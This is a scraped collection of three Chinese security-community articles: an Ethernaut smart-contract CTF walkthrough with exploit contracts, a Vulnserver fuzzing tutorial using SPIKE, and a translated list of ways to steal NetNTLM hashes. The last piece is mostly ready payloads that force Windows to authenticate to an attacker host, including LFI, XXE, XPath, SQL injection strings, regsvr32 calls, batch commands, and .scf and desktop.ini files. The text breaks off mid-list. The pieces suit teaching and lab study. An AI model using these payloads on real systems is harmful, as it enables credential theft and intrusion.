这里涉及到了tx.origin和msg.sender的区别，前者表示交易的发送者，后者则表示消息的发送者，如果情景是在一个合约下的调用，那么这两者是木有区别的，但是如果是在多个合约的情况下，比如用户通过A合约来调用B合约，那么对于B合约来说，msg.sender就代表合约A，而tx.origin就代表用户，知道了这些那么就很简单了，和上一个题目一样，我们这里需要另外部署一个合约来调用这儿的changeOwner：
Exploit:
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exploit {
Telephone target = Telephone(your instance address);
function hack(){
target.changeOwner(msg.sender);
}
}
##### 攻击流程
点击“Get new Instance”来获取一个实例：
之后查看合约的地址：
之后用上面的地址替换exploit中的地址,最终的exp如下
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exploit {
Telephone target = Telephone(0x932b6c14f6dd1a055206b0784f7b38d2217d30e5);
function hack(){
target.changeOwner(msg.sender);
}
}
之后在remix中编译合约：
部署合约
之后查看原合约的owner地址：
之后点击“hack”来实施攻击：
之后成功变换合约的owner
之后点击“submit instance”来提交示例即可：
#### Token
##### 闯关要求
玩家初始有token20个，想办法黑掉这个智能合约来获取得更多Token！
##### 合约代码
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
##### 合约分析
此处的映射balance代表了我们拥有的token，然后通关构造函数初始化了owner的balance，虽然不知道是多少，下面的transfer函数的功能为转账操作，最下面的balanceOf函数功能为查询当前账户余额。
通过粗略的一遍功能查看之后我们重点来看此处的transfer()函数
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
在该函数中最为关键第一处就是"require"校验，此处可以通过“整数下溢”来绕过检查，同时这里的balances和value都是无符号整数，所以无论如何他们相减之后值依旧大于0（在相等的条件下为0）。
那么在当前题目条件下(题目中token初始化为20)，所以当转21的时候则会发生下溢，导致数值变大其数值为2^256 - 1
##### 攻击流程
点击“Get new instance”来获取一个实例
之后调用transfer函数向玩家地址转币：
之后等交易完成之后，我们可以看到玩家的代币数量会变得非常非得多，和我们之前预期的一样：
之后我们点击“submit instance”提交答案即可：
#### Delegation
##### 闯关要求
获取合约的owner权限。
##### 合约代码
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}
##### 合约分析
在这里我们看到了两个合约，Delegate初始化时将传入的address设定为合约的owner，下面一个pwn函数也引起我们的注意，从名字也能看出挺关键的。
之后下面的Delegation合约则实例化了上面的Delegate合约，其fallback函数使用了delegatecall来调用其中的delegate合约，而这里的delegatecall就是问题的关键所在。
我们经常会使用call函数与合约进行交互，对合约发送数据，当然，call是一个较底层的接口，我们经常会把它封装在其他函数里使用，不过性质是差不多的，这里用到的delegatecall跟call主要的不同在于通过delegatecall调用的目标地址的代码要在当前合约的环境中执行，也就是说它的函数执行在被调用合约部分其实只用到了它的代码，所以这个函数主要是方便我们使用存在其他地方的函数，也是模块化代码的一种方法，然而这也很容易遭到破坏。用于调用其他合约的call类的函数，其中的区别如下：
1、call 的外部调用上下文是外部合约
2、delegatecall 的外部调用上下是调用合约上下文
3、callcode() 其实是 delegatecall() 之前的一个版本，两者都是将外部代码加载到当前上下文中进行执行，但是在 msg.sender
和 msg.value 的指向上却有差异。
在这里我们要做的就是使用delegatecall调用delegate合约的pwn函数，这里就涉及到使用call指定调用函数的操作，当你给call传入的第一个参数是四个字节时，那么合约就会默认这四个自己就是你要调用的函数，它会把这四个字节当作函数的id来寻找调用函数，而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个bytes，函数前面就是带有括号括起来的参数类型列表的函数名称。
经过上面的简要分析，问题就变很简单了，sha3我们可以直接通过web3.sha3来调用，而delegatecall在fallback函数里，我们得想办法来触发它，前面已经提到有两种方法来触发，但是这里我们需要让delegatecall使用我们发送的data，所以这里我们直接用封装好的sendTransaction来发送data，其实到了这里我也知道了前面fallback那关我们也可以使用这个方式来触发fallback函数：
contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});
##### 攻击流程
点击“get new instance”来获取一个实例
之后通过fallback函数里的delegatecall来调用pwn函数更换owner：
之后点击“submit instance”来提交答案
#### Force
##### 闯关要求
让合约的balance比0多
##### 合约代码
pragma solidity ^0.4.18;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
##### 合约分析
第一眼看上去——懵了，这是什么呀？一个猫？？？，合约Force中竟然没有任何相关的合约代码，感觉莫名奇妙。。。
经过查看资料，发现在以太坊里我们是可以强制给一个合约发送eth的，不管它要不要它都得收下，这是通过selfdestruct函数来实现的，如它的名字所显示的，这是一个自毁函数，当你调用它的时候，它会使该合约无效化并删除该地址的字节码，然后它会把合约里剩余的资金发送给参数所指定的地址，比较特殊的是这笔资金的发送将无视合约的fallback函数，因为我们之前也提到了当合约直接收到一笔不知如何处理的eth时会触发fallback函数，然而selfdestruct的发送将无视这一点，这里确实是比较有趣了。
那么接下来就非常简单了，我们只需要创建一个合约并存点eth进去然后调用selfdestruct将合约里的eth发送给我们的目标合约就行了。
##### 攻击流程
点击“Get new Instance”来获取一个实例：
之后获取合约地址
之后创建一个合约并存点eth进去然后调用selfdestruct将合约里的eth发送给目标合约：
pragma solidity ^0.4.20;
contract Force {
function Force() public payable {}
function exploit(address _target) public {
selfdestruct(_target);
}
}
编译合约
部署合约
之后调用“ForceSendEther()”函数，并传入合约的地址：
交易成功之后，再次查看合约的额度发现——“非零”
之后点击“submit instance”进行提及案例即可：
#### Vault
##### 闯关要求
解锁用户。
##### 合约代码
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
##### 合约分析
从代码里可以看到我们需要得到它的密码来调用unlock函数以解锁合约，而且我们注意到在开始它是直接定义存储了password的，虽然因为是private我们不能直接看到，然而我们要知道这是在以太坊上，这是一个区块链，它是透明的，数据都是存在块里面的，所以我们可以直接拿到它。
这里通过getStorageAt函数来访问它，getStorageAt函数可以让我们访问合约里状态变量的值，它的两个参数里第一个是合约的地址，第二个则是变量位置position，它是按照变量声明的顺序从0开始，顺次加1，不过对于mapping这样的复杂类型，position的值就没那么简单了。
##### 攻击流程
点击“Get new Instance”之后获取一个实例
之后在console下运行以下代码：
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
之后进行解锁：
之后点击“submit”来提交答案：
上篇分析至此结束，下篇目前已经写好，后续不久会奉上~
#### 参考资料
<https://paper.seebug.org/624/>
<https://remix.readthedocs.io/en/latest/>
<http://cw.hubwiz.com/card/c/web3.js-1.0/>
<https://ethfans.org/ajian1984/articles/33425>
<https://github.com/OpenZeppelin/openzeppelin-contracts>
<https://www.bubbles966.cn/blog/2018/05/05/analyse_dapp_by_ethernaut/>
<http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/>
<http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review-part2/> | 社区文章 |
原文链接：<https://resources.infosecinstitute.com/intro-to-fuzzing/>
Vulnserver是由Stephen
Bradshaw编写的用于包含安全漏洞的TCP服务器应用程序，将用做本文的fuzz目标。SPIKE将作为fuzzer，后续还将
还将讨论SPIKE脚本和一种自动化SPIKE fuzz的简单方法。
## 要求和系统设置
为了跟随本文中的fuzz练习，需要准备两个联网系统 - 一个带有漏洞的的应用程序Vulnserver的Windows系统（Windows
XP，Vista或Windows 7），它将充当我们的fuzz目标，以及一个Linux系统用来操作SPIKE。 我建议使用BackTrack 4
Final或更高版本的Linux系统版本，因为我们执行fuzz工作所需的所有软件都已包含在内。 这些所需系统中的任何一个（或两个）都可以作为虚拟机运行。
在接下来的练习中的许多步骤中，涉及到的命令和脚本将通过其IP地址来访问我的目标系统。 我的模糊测试目标系统IP地址192.168.56.101。
如果您的系统正在使用其他地址，请确保在后面的任何命令中输入相应的IP地址来代替192.168.56.101。
在您实际编译SPIKE之前，我建议先对源码进行一些小改动。 编辑SPIKE / SPIKE /
src中的文件spike.c，找到紧跟printf(“tired to send a closed socket!\ n”)行的两个return 0;。
用”exit(1);”替换这两个”return 0;”。
这种更改实质上会导致SPIKE在尝试将数据发送到已关闭的套接字时以非零返回值退出，这个用来配合再稍后本文中提到的从wrapper脚本运行SPIKE。
完成此更改后，您可以正常地从src目录运行”./configure;make”命令编译SPIKE。
在模糊测试目标系统上，需要管理权限运行Ollydbg调试器。在Vista或Windows
7上，确保右键单击并选择以管理员身份运行，以确保以适当的权限运行调试器。
运行Vulnserver应用程序本身并不是特别困难。 只需将发行版中的两个二进制文件 -vulnserver.exe和essfunc.dll放入同一目录，然后使用OllyDbg中的“打开”命令或双击可执行文件启动程序。
默认情况下，程序占用TCP端口9999，但如果您希望它侦听另一个端口，只需将端口号作为命令行参数提供给vulnserver.exe。
## fuzz是什么？
fuzz测试是将故意格式错误的数据发送到程序以便在应用程序中生成故障或错误的过程。软件开发人员用这个测试自己的代码漏洞，与二进制和源代码分析一起，模糊测试是发现可利用软件漏洞的主要方式之一。有许多流行的和免费的软件fuzzer可用，本文介绍的是SPIKE。
## SPIKE Fuzzer
从技术上讲，SPIKE实际上是一个模糊器创建工具包，它提供了API，允许用户使用C语言基于网络的协议来创建自己的fuzzer。
SPIKE定义了一些它可供C编码器使用的原语，它允许它构造称为“SPIKES”的模糊消息，这些消息可以发送到网络服务，以期产生错误。
正如我所提到的，SPIKE是一个基于C的fuzzer创建工具包，但用户不必知道如何编写C程序来使用SPIKE。有一些命令行工具可以作为包含SPIKE原语的简单文本文件的解释器。SPIKE还包括一个简单的脚本编写功能，并且在SPIKE发行版中，有一些命令行工具可以作为包含SPIKE原语的解释器。
众所周知，SPIKE记录很糟糕，但是通过查看发行版中提供的一些SPIKE脚本，并扫描SPIKE C代码的元素，我们可以开始构建一些可以使用的原语列表。
为了方便查阅，本文档稍后将列出其中一些原语。
SPIKE上还有很多论文和演示文稿，其中最有趣的是SPIKE作者“Daily”Dave
Aitel的旧版演示文稿(<http://www.immunitysec.com/downloads/usingspike3.ppt)。虽然演示文稿缺乏详细的例子，但它确实概述了很多东西。这使得SPIKE成为一个非常棒的fuzzer。>
让我们查看一下这些功能，看看这些对我们有用的地方。
### SPIKE有哪些有用的功能？
* SPIKE有大量用于模糊测试的内置字符串，可以非常有效地在程序中产生各种错误，并且SPIKE可以确定最“适合”发送给应用程序的值。 这意味着用户不必自己提供这些值，并且可以从程序作者所选择的良好的fuzz字符串的丰富经验中受益。
* SPIKE具有“块”的概念，可用于计算由SPIKE代码生成的SPIKE中指定部分的大小。 然后可以以各种不同的格式将这些大小值插入到SPIKES中。 当fuzz协议需要为消息中的特定字段指定准确的大小时，可以节省用户进行这些计算的工作量。
* SPIKE可以支持网络协议中常用的许多不同数据类型，并且可以以各种不同的格式接受它们，以便从许多不同的程序中轻松剪切和粘贴。
## SPIKE Scripting
如前所述，SPIKE还包括一个基本脚本功能，允许您使用SPIKE原语来模糊应用程序，而无需在C中编写自己的SPIKE
fuzzer代码。SPIKE发行版提供了各种不同的解释器，允许您指定这些SPIKE原语的某些相关子集，以便针对各种类型的网络应用程序使用。为了简化本文其余部分的内容，我将引用可在SPIKE脚本中用作“命令”的SPIKE原语的子集。
对于基于TCP的服务器应用程序，我们可以通过将SPIKE命令写入.spk脚本文件并使用TCP
SPIKE脚本解释器generic_send_tcp运行它们来利用此脚本功能，该脚本将在特定IP地址和
TCP端口发送指定的SPIKE。还有一个generic_send_udp，它会做类似的事情，但是在这个解释器中，SPIKES将通过UDP发送。
我们将用generic_send_tcp解释器fuzz我们的应用程序。该解释器可以在BackTrack上的/ pentest / fuzzers /
spike /中找到（如果你自己下载并编译了SPIKE，则可以在src目录中找到），如下不带任何命令行参数的情况下运行它：
root@bt4r1vm:/pentest/fuzzers/spike/# ./generic_send_tcp
argc=1
Usage: ./generic_send_tcp host port spike_script SKIPVAR SKIPSTR
./generic_send_tcp 192.168.1.100 701 something.spk 0 0
前三个必需的命令行选项是自解释（self
explanatory）的，参数一和二定义了要连接的主机和TCP端口以进行fuzz，第三个参数定义了SPIKE脚本文件的名称。参数4和5可能需要更多解释。
这些参数SKIPVAR和SKIPSTR基本上允许您跳转到SPIKE脚本定义的fuzz会话的中间。
在SPIKE脚本中，您可以指定“s_string_variables”，这些命令用于将实际模糊字符串插入到您发送的每个SPIKE中。
如果在脚本中使用多个“s_string_variables”，则可以通过为SKIPVAR设置适当的值来跳过使用“s_string_variables”的早期实例。
例如，如果在SPIKE脚本中包含三个“s_string_variables”，并且想要忽略前两个变量并且仅模糊第三个变量，则应将SKIPVAR设置为2（变量的编号从0开始向上计数，因此
第三个变量用数字2表示。
每个“s_string_variables”还有一个由SPIKE构建的不同fuzz字符串值的数组，它将在SPIKE模糊测试会话中迭代。
如果要跳过这些字符串中的前10个字符串，并在字符串11处开始模糊测试，则可以将SKIPSTR设置为10（从0开始计数）。
当您使用generic_send_tcp时，它会向命令行输出有关当前正在测试的变量和字符串的信息，因此，如果SPIKE会话中断并且需要稍后继续它，则可以使用这两个命令行参数来执行此操作。
要从头开始模糊测试会话，只需设置这些参数为“0
0”，从头开始使用脚本文件“test.spk”在端口9999上针对主机192.168.1.101启动模糊测试会话，可以使用如下命令
（假设generic_send_tcp在/ pentest / fuzzers / spike /中）：
root@bt4r1vm:~# /pentest/fuzzers/spike/generic_send_tcp 192.168.56.101 9999 test.spk 0
## SPIKE Scripting Commands
要编写SPIKE脚本，首先需要知道一些可用的命令是什么以及它们的作用。
你可以通过SPIKE根目录搜索，可以通过查阅一些示例.spk文件以及SPIKE头文件spike.h来查看我们可以在脚本文件中当作命令的可用原语。spike.h文件将列出可用的原语（命令），.spk文件将提供如何使用这些命令的示例。
请记住，SPIKE脚本功能仅支持spike.h中的原语子集 -脚本“解释器”程序执行创建“SPIKE”并进行网络连接的工作，因此，您只能在脚本中使用定义SPIKE本身内容的命令。
为了省去搜索这些文件的麻烦，我将在下面列出一些常用的用来编写脚本SPIKE原语。用C语言编写的spike.h文件中使用C数据类型列出了C语法中的每个SPIKE命令，但为了那些不熟悉C语法的朋友，我将使用“示例”格式（example
format）指定命令。
编写脚本时可以更轻松地使用这些原语。在C中使用“//”表示法来指定基于行的注释（编译器忽略该点之后的所有内容），因此我使用下面的语法为每个命令提供了额外的详细解释。您可以在创建SPIKE脚本时保留这些注释，或添加自己的注释，SPIKE解释器会自动忽略这些。
我将下面的命令分解为许多与字符串，二进制数据，块和其他有用功能相关的高级类别。
1.Strings
字符串命令提供了一种将ASCII字符数据添加到SPIKES中的方法。
字符串命令中还包括s_string_variable命令，它是SPIKE中最重要的命令之一，因为它实际上允许您向SPIKE添加fuzz字符串。
* s_string(“string”); // simply prints the string “string” as part of your “SPIKE”
* s_string_repeat(“string”,200); // repeats the string “string” 200 times
* s_string_variable(“string”); // inserts a fuzzed string into your “SPIKE”. The string “string” will be used for the first iteration of this variable, as well as for any SPIKES where other s_string_variables are being iterated
2.Binary Data
二进制命令提供了一种向SPIKES添加二进制数据的方法。 它们支持多种指定二进制数据的方法。
* s_binary(“\x41”); // inserts binary representation of hex 0x41 = ASCII “A”
* s_binary_repeat(“\x41”, 200); //inserts binary representation of 0x41 200 times
对于SPIKE中的二进制命令，还可以使用各种其他方法来指定相同的数据。
要输出如上所示的相同十六进制字符，我们可以使用“41”也可以使用“0x41”，当然混合和匹配这些值也行，（例如“410×41 \
x42”输出ASCII“AAB”）。 任何添加的空格都会被忽略。
所有这些结合在一起，可以从代表十六进制格式数据的各种不同应用程序中轻松剪切和粘贴，例如数据包捕获工具，调试器等。
3.Defining Blocks
块定义命令允许您在SPIKE脚本中指定命名块的起点和终点。 这允许您使用块大小命令在SPIKES中定义这些数据部分的大小。
* s_block_start(“block1”); // defines the start of block “block1”
* s_block_end(“block1”); // defines the end of block “block1”
4.Block Sizes
Block Sizes命令允许您在脚本生成的SPIKES内的命名块内插入使用各种不同尺寸格式的数据。
* s_blocksize_string(“block1”, 2); // adds a string 2 characters long to the SPIKE that represents the size of block “block1”
* s_binary_block_size_byte(“block1”); //adds a 1 byte value to the SPIKE that represents the size of block “block1
这些只是Block Sizes如何添加到SPIKE的众多方法中的两个示例。 还有其他方法，可以允许您以各种格式表示Block
Sizes，还有一些方法甚至允许您在Block Sizes之前添加预设值。
要查看其他一些选项，只需在SPIKE src目录中的spike.h文件中grep命令搜索“block_size”或“blocksize”
5.Other Useful Commands
其他有用的命令是那些不适合归类到上述类别的命令。
* s_read_packet(); // Reads and prints to screen data received from the server
* s_readline(); // Reads a single line of input from the server
用户还可以在SPIKE脚本中使用通用C语言函数，提供其他便捷功能。
一个特别有用的功能是printf（），它可以用来向终端输出数据，这可以为我们的脚本提供更多的控制台输出信息。
## SPIKE脚本的例子
以下是一个示例SPIKE脚本，可用于通过对testserver.example.com的POST请求对php脚本testme.php中的inputvar变量进行fuzz处理。
s_string("POST /testme.php HTTP/1.1\r\n");
s_string("Host: testserver.example.com\r\n");
s_string("Content-Length: ");
s_blocksize_string("block1", 5);
s_string("\r\nConnection: close\r\n\r\n");
s_block_start("block1");
s_string("inputvar=");
s_string_variable("inputval");
s_block_end("block1");
此脚本实际上指定了如下所示的消息，其中[fuzz_string]表示将SPIKE
fuzz字符串插入到消息中的位置，[size_of_data]表示POST请求的数据部分的大小，其中包含固定字符串 “inputvar
=”和fuzz字符串的变量数据。 随着fuzz字符串的更改，此大小字段将自动更新。
POST /testme.php HTTP/1.1
Host: testserver.example.com
Content-Length: [size_of_data]
Connection: close
inputvar=[fuzz_string]
## 了解fuzz协议
成功的fuzz测试通常需要将错误的格式或意外的数据输入应用程序的特定区域。 这是因为程序通常需要对用户提供的数据执行某种处理，以便触发可利用的崩溃。
这要求我们将fuzz值输入网络协议的特定区域，并且在该区域中应用程序找到“正确”的输入。
换句话说，要将“错误”数据放入“正确”的位置，我们需要了解我们用于与目标应用程序通信的网络协议的结构，以便将我们的模糊测试数据导入适用的应用领域。
可以通过多种方式获得对网络协议的理解 -通过查看RFC文档，使用客户端应用程序生成流量，使用Wireshark或tcpdump等工具捕获结果，对于非常简单的协议，可以直接与应用程序交互，看看它是如何工作的。
在此次例子中Vulnserver便是直接交互。由于我们是fuzz的Vulnserver，假设我们发送给程序的数据导致了程序的异常，我们希望看到它发生了什么，可以在调试器中运行该程序这样我们可以及时查看到崩溃现场。
在Windows系统上启动OllyDbg，载入vulnserver.exe，然后按F9键，点击OllyDbg工具栏上的Play按钮或从OllyDbg
Debug菜单中选择Run以允许程序 在调试器中运行。
此时，程序正常运行，但是如果我们在Vulnserver进程中触发崩溃，调试器将获得控制权并获取当前寄存器和堆栈的状态以便我们分析。
现在，再Linux fuzz测试系统使用netcat连接到运行的Vulnserver。
以（-vv）运行netcat以获取有关连接的一些其他信息，禁用DNS解析（-n）。
root@bt4r1vm:~# nc -nvv 192.168.56.101 9999
(UNKNOWN) [192.168.56.101] 9999 (?) open
Welcome to Vulnerable Server! Enter HELP for help.
我们在连接到Vulnserver后，我们可以输入HELP来获取一些帮助信息。 让我们尝试一下，看看会发生什么：
root@bt4r1vm:~# nc -nvv 192.168.56.101 9999
(UNKNOWN) [192.168.56.101] 9999 (?) open
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
好的，HELP为我们提供了一些被程序接受的有效命令列表。 让我们尝试输入其中一些命令，以及其他一些随机字符串，看看会发生什么。
STATS
UNKNOWN COMMAND
似乎不支持运行不带参数的STATS命令。 如果我们再次尝试它会怎么样，但这次在命令之后加入一些通用文本。
STATS test
STATS VALUE NORMAL
好的，这似乎有效。 如果我们改变STATS命令的情况呢？
stats test
UNKNOWN COMMAND
命令看起来区分大小写。 现在让我们尝试一些未列为支持命令的其他指令。
BLAH
UNKNOWN COMMAND
似乎任何不正确/不支持的命令都会生成UNKNOWN COMMAND响应。 现在让我们尝试另一个支持的命令，带上随机参数。
TRUN hhh
TRUN COMPLETE
这也给出了不同的回应。 现在让我们看看HELP是否可以获得更多信息。
HELP STATS
Command specific help has not been implemented
不，没有什么帮助。
正如你所看到的那样，我试图通过这种方式询问程序接受了哪些类型的消息来完成工作，以为构建我的fuzz测试请求做准备。根据我们到目前为止看到的情况，似乎该程序支持许多“命令”，并且这些命令中的有些命令需要输入参数来进行操作。
考虑到这一点，我们可以将fuzz数据插入应用程序的支持命令里：
* 代替支持的命令
* 作为某些带参数的命令的参数（STATS，RTIME，LTIME等）。
* 作为某些不带参数的命令的参数，这些命令不表示它们支持参数（HELP，也可能是EXIT）。
现在我们已经了解了如何与Vulnserver应用程序进行通信，以及在Vulnserver“协议”中我们可以插入我们的fuzz数据的位置。
这是一个非常简单的协议分析示例，但我相信它可以很好地演示一般的预fuzz化过程 -我们确定程序如何从用户接收输入数据，并使用该方法将fuzz数据插入到应用程序中。
## 使用SPIKE fuzz Vulnserver
所以现在让我们使用从分析Vulnserver“协议”中获得的信息来实际使用SPIKE fuzzer。
在上一节中，我们发现，发送模糊字符串代替支持的命令可能很有用，并且作为支持命令的参数可能很有用，不支持参数命令的参数。 让我们先从最简单的情况开始 -发送一个fuzz字符串代替支持的命令。
实现此目的的SPIKE脚本如下所示：
s_readline(); //print received line from server
s_string_variable("COMMAND"); //send fuzzed string
在这里，我们正在等待从连接时看到的服务器收到初始“欢迎”消息，然后我们将模糊字符串发送到应用程序。将此内容保存为Linux
fuzzing系统上的磁盘“vscommand.spk”。
在我们实际使用SPIKE启动此脚本之前，让我们在Linux系统上使用Wireshark启动数据包捕获，以便我们可以看到SPIKE实际发送的内容。
我的Vulnserver的IP地址为192.168.56.101默认端口为9999，因此我将设置捕获过滤器以忽略所有其他流量。 过滤器如下所示 -如果您的目标系统位于不同的IP地址上，或者Vulnserver正在侦听其他端口，请相应地调整过滤器。
host 192.168.56.101 and tcp port 9999
启动Wireshark捕获，然后使用如下所示的命令启动SPIKE模糊器。
此命令假定您正在从BackTrack执行模糊测试，BackTrack默认将SPIKE存储在/ pentest / fuzzers /
spike中，并且已将vscommand.spk文件保存到当前工作目录中。
如果您已经下载了SPIKE，那么generic_send_tcp将位于SPIKE归档内的SPIKE / SPIKE /
src目录中（有关安装SPIKE的一些详细信息，请参阅“要求和系统设置”部分）。
root@bt4r1vm:~/vulnserver# /pentest/fuzzers/spike/generic_send_tcp 192.168.56.101 9999 vscommand.spk 0 0
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
line read=Welcome to Vulnerable Server! Enter HELP for help.
Fuzzing Variable 0:1
Variablesize= 5004
Fuzzing Variable 0:2
line read=Welcome to Vulnerable Server! Enter HELP for help.
Variablesize= 5005
[...SNIP...]
Fuzzing Variable 0:2041
line read=Welcome to Vulnerable Server! Enter HELP for help.
Fuzzing Variable 0:2042
line read=Welcome to Vulnerable Server! Enter HELP for help.
Fuzzing Variable 0:2043
line read=Welcome to Vulnerable Server! Enter HELP for help.
Done.
如果你让它继续运行，这个SPIKE脚本应该在几分钟后完成，如果你检查在其调试器中运行的VulnServer，你会发现它似乎运行正常 - 没有崩溃。
所以看来只是发送fuzz数据代替支持的命令不会导致VulnServer崩溃（或者至少发送SPIKE生成的坏字符串代替命令不会导致Vulnserver崩溃。）没关系，我们在程序中还有很多其他区域可以插入fuzz数据，但在我们继续之前，让我们看一下我们在Wireshark中捕获的数据，这样我们就可以看到SPIKE正在做什么。
向上滚动到Wireshark窗口的最顶部，选择第一个数据包，然后右键单击并从菜单中选择Follow TCP
Stream，我们应该能够看到发送的第一个SPIKE的内容。
第一个SPIKE如下所示。 您可以看到这里发生了什么，SPIKE只是从服务器收到欢迎消息，然后将字符串COMMAND发送到应用程序。
这个字符串并非巧合，它正是我们在SPIKE脚本文件的s_string_variable命令中指定的字符串。
到目前为止，SPIKE还没有做任何特别有趣的事情，但也许当我们看到其他一些请求时....
在我们继续之前要注意的另一件事是我们看到服务器对我们提供的输入的响应 - 即字符串“UNKNOWN COMMAND” - 被发送回客户端。
这表明在从SPIKE接收到该字符串后，Vulnserver应用程序仍然能够发回响应 - 这意味着它在此阶段没有崩溃。
后来当我们到达实际导致崩溃的程度时，这种类型的信息可以用来识别哪个模糊字符串造成崩溃。
让我们看看下一个请求。 点击Follow TCP Stream窗口底部的Filter Out This
Stream按钮，然后右键单击新过滤的Wireshark视图中的第一个数据包，再次选择Follow TCP Stream。 这次我们看到更有趣的东西。
不是我们在上一个请求中看到的文本“COMMAND”，而是SPIKE发送了一个非常长的大写字母“A”字符串，前面是一些其他随机字符。
如果您感到好奇，可以继续查看SPIKE发送的其他一些fuzz 数据。
这里需要知道的是，每次在SPIKE脚本中使用s_string_variable命令时，SPIKE将首先在命令后发送括号中指定的文本，然后它将遍历其预定义的fuzz字符串列表，将列表项一个一个发送到应用程序，直到它完成。如果脚本中有多个变量，它将依次遍历每个变量的所有可能值。
但是，你无法使用一个SPIKE脚本创建多个单独的SPIKES。如果您有多种不同的消息类型，其中包含您想要fuzz的固定数据，例如表示各种支持的命令（如STATS，RTIME，LTIME等）的字符串，则需要使用使用构造指定此数据的单个SPIKE脚本
例如s_string命令。
这演示了运行单个SPIKE脚本的基本过程，但对于Vulnserver，程序中还有许多其他区域需要fuzz，并且当运行每个所需的SPIKE脚本以查看程序崩溃时，单独执行和查看这些脚本并不方便。 | 社区文章 |
原文：[《Places of Interest in Stealing NetNTLM
Hashes》](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/ "《Places of Interest in Stealing NetNTLM Hashes》")
译者：Serene@知道创宇404实验室
一次我和[@m3g9tr0n](https://twitter.com/m3g9tr0n)在讨论使用responder来窃取NetNTLM哈希的多种方法，经过试验后，我决定写下这篇文章，记录在Windows系统中的一些很酷的发现，在这些情况下SMBRelay攻击也是有可能发生的。
#### LFI
PHP中的include()函数将会解析网络路径
http://host.tld/?page=//11.22.33.44/@OsandaMalith
#### XXE
在这里我使用“php：//filter/convert.base64-encode/resource=”来解析网络路径。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" >
]>
<root>
<name></name>
<tel></tel>
<email>OUT&xxe;OUT</email>
<password></password>
</root>
#### XPath Injection
通常，doc()函数被用在带外XPath注入中，因此它可以用来解析网络路径。
http://host.tld/?title=Foundation&type=*&rent_days=* and doc('//35.164.153.224/@OsandaMalith')
#### MySQL Injection
我写过一篇关于MySQL带外注入的完整[文章](https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/)，可以在互联网上应用，你也可以使用“INTO OUTFILE”来解析网络路径。
http://host.tld/index.php?id=1’ union select 1,2,load_file(‘\\\\192.168.0.100\\@OsandaMalith’),4;%00
#### MSSQL
由于支持查看堆栈，我们可以调用存储过程。
';declare @q varchar(99);set @q='\\192.168.254.52\test'; exec master.dbo.xp_dirtree @q
#### Regsvr32
在对.sct文件进行试验时，我还意外地发现了这个。
regsvr32 /s /u /i://35.164.153.224/@OsandaMalith scrobj.dll
#### Batch
这里有很多可以探索的方法：
echo 1 > //192.168.0.1/abc
pushd \\192.168.0.1\abc
cmd /k \\192.168.0.1\abc
cmd /c \\192.168.0.1\abc
start \\192.168.0.1\abc
mkdir \\192.168.0.1\abc
type\\192.168.0.1\abc
dir\\192.168.0.1\abc
find, findstr, [x]copy, move, replace, del, rename and many more!
#### Auto-Complete
你只需要输入'\ host \'，auto-complete会在资源管理器和运行对话框下执行。
#### Autorun.inf
从Windows 7开始，此功能被禁用了，不过你可以通过更改Autorun的组策略来启用它，记得要确保Autorun.inf文件是隐藏的。
[autorun]
open=\\35.164.153.224\setup.exe
icon=something.ico
action=open Setup.exe
#### Shell Command Files
你可以把这个存储为.scf文件，一旦打开文件夹资源管理器，它将尝试解析图标的网络路径。
[Shell]
Command=2
IconFile=\\35.164.153.224\test.ico
[Taskbar]
Command=ToggleDesktop
#### Desktop.ini
desktop.ini文件包含了已应用到该文件夹的图标的信息。我们可以用这个解析网络路径，一旦你打开文件夹，就能得到哈希值。
mkdir openMe
attrib +s openMe
cd openMe
echo [.ShellClassInfo] > desktop.ini
echo IconResource=\\192.168.0.1\aa >> desktop.ini
attrib +s +h desktop.ini
在Windows XP系统中，desktop.ini文件使用“IcondFile”而不是“IconResource”。
[.ShellClassInfo]
IconFile=\\192.168.0.1\aa
IconIndex=1337
#### Shortcut Files (.lnk)
